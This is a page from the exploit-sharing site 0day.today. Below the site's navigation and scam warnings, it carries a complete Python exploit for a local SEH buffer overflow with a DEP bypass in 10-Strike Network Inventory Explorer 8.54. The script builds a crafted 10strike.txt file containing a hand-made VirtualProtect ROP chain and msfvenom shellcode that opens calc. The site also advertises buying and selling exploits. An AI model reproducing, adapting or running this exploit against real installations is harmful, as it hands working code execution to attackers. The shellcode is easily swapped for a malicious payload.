0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH) (DEP Bypass) Exploit
#!/usr/bin/python # Exploit Author: bzyo # Twitter: @bzyo_ # Exploit Title: 10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH)(DEP Bypass) # Vulnerable Software: 10-Strike Network Inventory Explorer 8.54 # Vendor Homepage: https://www.10-strike.com/ # Version: 8.54 # Software Link 1: https://www.10-strike.com/networkinventoryexplorer/network-inventory-setup.exe # Tested Windows 7 SP1 x86 # PoC # 1. run script # 2. open app, select Computers tab # 3. click on 'From Text File' # 4. choose 10strike.txt that was generated # 5. pop calc # manually created ropchain based on mona.py 'rop.txt' and 'ropfunc.txt' finds # practicing dep bypass by not using auto generated mona.py ropchains # original seh poc from Hashim Jawad, EDB: 44838 # notes from author state offset is based upon username size, username for poc is 'user' # badchars; \x00\x0a\x0d\x2f import struct filename = "10strike.txt" junk = "\x41" * 209 seh = struct.pack('<L',0x10013e29) fill = "\x42"*12 #VirtualProtect() #ESI = ptr to VirtualProtect() rop = struct.pack('<L',0x7c3762b3) # POP EAX # RETN rop += struct.pack('<L',0x61e9b30c) # ptr to &VirtualProtect() rop += struct.pack('<L',0x1001872e) # MOV EAX,DWORD PTR DS:[EAX] # RETN rop += struct.pack('<L',0x100101f2) # POP EBX # RETN rop += struct.pack('<L',0xffffffff) # rop += struct.pack('<L',0x100186d1) # ADD EBX,EAX # XOR EAX,EAX # RETN rop += struct.pack('<L',0x7c358a01) # INC EBX # XOR EAX,EAX # RETN rop += struct.pack('<L',0x7c3501d5) # POP ESI # RETN rop += struct.pack('<L',0xffffffff) # rop += struct.pack('<L',0x61e8509c) # ADD ESI,EBX # RETN rop += struct.pack('<L',0x7c370464) # INC ESI # RETN #EBP = ReturnTo (ptr to jmp esp) #mona.py jmp -r esp -cpb '\x00\x0a\x0d' rop += struct.pack('<L',0x61e05892) # POP EBP # RETN rop += struct.pack('<L',0x61e053a9) # push esp # ret #EBX = dwSize x201 rop += struct.pack('<L',0x7c348495) # POP EAX # RETN rop += struct.pack('<L',0xfffffdff) # rop += struct.pack('<L',0x7c351e05) # NEG EAX # RETN rop += struct.pack('<L',0x100101f2) # POP EBX # RETN rop += struct.pack('<L',0xffffffff) # rop += struct.pack('<L',0x61e0579d) # INC EBX # RETN rop += struct.pack('<L',0x100186d1) # ADD EBX,EAX # XOR EAX,EAX # RETN #EDX = NewProtect (0x40) rop += struct.pack('<L',0x7c344160) # POP EDX # RETN rop += struct.pack('<L',0xffffffc0) # rop += struct.pack('<L',0x7c351eb1) # NEG EDX # RETN #ECX = lpOldProtect (ptr to W address) rop += struct.pack('<L',0x7c37157a) # POP ECX # RETN rop += struct.pack('<L',0x61e894c0) # &Writable location sqlite3 #EDI = ROP NOP (RETN) rop += struct.pack('<L',0x1001ab53) # POP EDI # RETN rop += struct.pack('<L',0x1001ab54) # ROP-NOP #EAX = NOP (0x90909090) rop += struct.pack('<L',0x7c3647cc) # POP EAX # RETN rop += struct.pack('<L',0x90909090) # nop #PUSHAD rop += struct.pack('<L',0x10019094) # PUSHAD # RETN nops = "\x90"*10 #msfvenom -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d\x3a\x5c' -f python #Payload size: 220 bytes calc = "" calc += "\xbb\x29\x86\xf9\x07\xda\xdb\xd9\x74\x24\xf4\x5e\x31" calc += "\xc9\xb1\x31\x31\x5e\x13\x83\xee\xfc\x03\x5e\x26\x64" calc += "\x0c\xfb\xd0\xea\xef\x04\x20\x8b\x66\xe1\x11\x8b\x1d" calc += "\x61\x01\x3b\x55\x27\xad\xb0\x3b\xdc\x26\xb4\x93\xd3" calc += "\x8f\x73\xc2\xda\x10\x2f\x36\x7c\x92\x32\x6b\x5e\xab" calc += "\xfc\x7e\x9f\xec\xe1\x73\xcd\xa5\x6e\x21\xe2\xc2\x3b" calc += "\xfa\x89\x98\xaa\x7a\x6d\x68\xcc\xab\x20\xe3\x97\x6b" calc += "\xc2\x20\xac\x25\xdc\x25\x89\xfc\x57\x9d\x65\xff\xb1" calc += "\xec\x86\xac\xff\xc1\x74\xac\x38\xe5\x66\xdb\x30\x16" calc += "\x1a\xdc\x86\x65\xc0\x69\x1d\xcd\x83\xca\xf9\xec\x40" calc += "\x8c\x8a\xe2\x2d\xda\xd5\xe6\xb0\x0f\x6e\x12\x38\xae" calc += "\xa1\x93\x7a\x95\x65\xf8\xd9\xb4\x3c\xa4\x8c\xc9\x5f" calc += "\x07\x70\x6c\x2b\xa5\x65\x1d\x76\xa3\x78\x93\x0c\x81" calc += "\x7b\xab\x0e\xb5\x13\x9a\x85\x5a\x63\x23\x4c\x1f\x9b" calc += "\x69\xcd\x09\x34\x34\x87\x08\x59\xc7\x7d\x4e\x64\x44" calc += "\x74\x2e\x93\x54\xfd\x2b\xdf\xd2\xed\x41\x70\xb7\x11" calc += "\xf6\x71\x92\x71\x99\xe1\x7e\x58\x3c\x82\xe5\xa4" pad = "\x45"*(3000 - len(junk + seh + fill + rop + nops + calc)) buffer = junk + seh + fill + rop + nops + calc + pad textfile = open(filename , 'w') textfile.write(buffer) textfile.close() # 0day.today [2024-11-16] #